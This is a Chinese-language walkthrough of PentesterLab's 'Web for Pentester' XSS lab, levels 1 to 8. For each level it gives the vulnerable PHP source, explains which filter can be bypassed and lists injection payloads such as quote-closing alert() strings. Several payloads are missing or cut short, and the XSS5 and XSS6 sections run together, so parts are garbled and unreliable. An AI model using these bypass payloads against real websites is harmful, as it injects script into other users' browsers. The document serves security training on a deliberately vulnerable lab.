Web For Pentester1 -XSS
官方地址:PentesterLab: Learn Web App Pentesting!
Web for Pentester 也是一个web的靶场,如下图
XSS1:
源代码:
<?php
echo $_GET["name"];
?>
解释:无任何过滤,直接插入payload即可
paylod:
XSS2
源代码:
<?php
$name = $_GET["name"];
$name = preg_replace("/标签进行了替换,但是没有区别大小写,可绕过
payload:
">
">
XSS3
源码:
<?php
$name = $_GET["name"];
$name = preg_replace("/大小写尽心了过滤,因此可通过起标签绕过
paylod:
">//
XSS4
源码:
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
解释:这是一个正则匹配,匹配到script字符串,就反馈error,因此可以绕过
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
payload:
'"
XSS5:
源代码:
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>
解释:对alert字符进行了过滤,因此可以通过String.fromCharCode()编码其他标签饶过
payload:
<?php require_once '../footer.php'; ?>
解释:这次是在script标签内的,因此可以直接插入script代码,或者闭合script标签之后,插入代码。
payload:
hacker";alert(1)//
hacker"-(confirm)(1)-"
hacker
hacker">
XSS7:
源码:
<?php require_once '../header.php'; ?>
Hello
<?php require_once '../footer.php'; ?>
解释:
htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗
payload:
hacker';alert(1)//
hacker'-(confirm)(1)-'
XSS8:
源码:
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>